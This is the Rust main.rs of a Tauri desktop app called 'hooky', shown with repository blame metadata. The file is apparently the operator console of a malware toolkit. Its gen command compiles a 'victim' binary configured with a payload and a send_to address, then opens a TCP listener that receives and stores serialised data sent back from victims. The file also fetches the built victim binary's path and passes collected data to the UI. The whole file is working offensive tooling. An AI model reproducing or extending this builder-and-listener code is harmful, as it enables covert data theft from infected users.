~/hooky

hooky/command/src-tauri/src/main.rs -rw-r--r-- 3.21 kB
c1f59a62 — Arthur Melton can get the data sent 2 years ago

            
89bc4b52 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
df6fb4e9 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
406fafb5 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
89bc4b52 Arthur Melton
8b2d0277 Arthur Melton
b90df7a0 Arthur Melton
8b2d0277 Arthur Melton
89bc4b52 Arthur Melton
406fafb5 Arthur Melton
89bc4b52 Arthur Melton


























































































1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#![cfg_attr(
    all(not(debug_assertions), target_os = "windows"),
    windows_subsystem = "windows"
)]

#[macro_use]
extern crate lazy_static;

use std::process::Command;
use config::Config;
use data::Sends;
use std::fs::File;
use std::io::{Write, Read};
use std::net::TcpListener;
use std::thread;
use std::sync::{Mutex, Arc};

lazy_static! {
    pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));
    pub static ref INDEX: Arc<Mutex<usize>> = Arc::new(Mutex::new(0));
}

#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
    if payload == Some("".to_string()) {payload = None;}
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();
    }
    path.push("victim");
    path.push("config.toml");
    let config = Config {
        payload: payload.clone(),
        send_to: send_to.clone(),
    };
    let mut file = File::create(path.clone()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
    file.sync_all().unwrap();
    path.pop();
    let mut args = vec!["build", "--release"];
    for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
        args.push("--features");
        args.push(i);
    }
    if payload.is_some() {
        args.push("--features");
        args.push("payload");
    }
    Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");

    thread::spawn(move || {
        let listener = TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()) ).unwrap();
        for stream in listener.incoming() {
            thread::spawn(move || {
                let mut stream = stream.unwrap();
                let mut total = Vec::new();
                let mut buffer = [0; 4096];
                while stream.read(&mut buffer).unwrap() == 4096 {
                    for i in buffer {
                        total.push(i);
                    }
                }
                for i in buffer {
                    total.push(i);
                }
                let new_sends: Sends = bincode::deserialize(&total).unwrap();
                let hooks = Arc::clone(&HOOKS);
                let mut hooks = hooks.lock().unwrap();
                (*hooks).push(new_sends);
            });
        }
    });
}

#[tauri::command]
fn victim_payload() -> String {
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();
    }
    for i in vec!["victim", "target", "release", "victim"] {
        path.push(i);
    }
    path.display().to_string()
}

#[tauri::command]
fn get_new() -> Vec<Sends> {
    let sends = (*HOOKS.lock().unwrap()).clone();
    let start_at = *INDEX.lock().unwrap();
    let index = Arc::clone(&INDEX);
    let mut index = index.lock().unwrap();
    *index = sends.len();
    return sends[start_at..].to_vec()
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}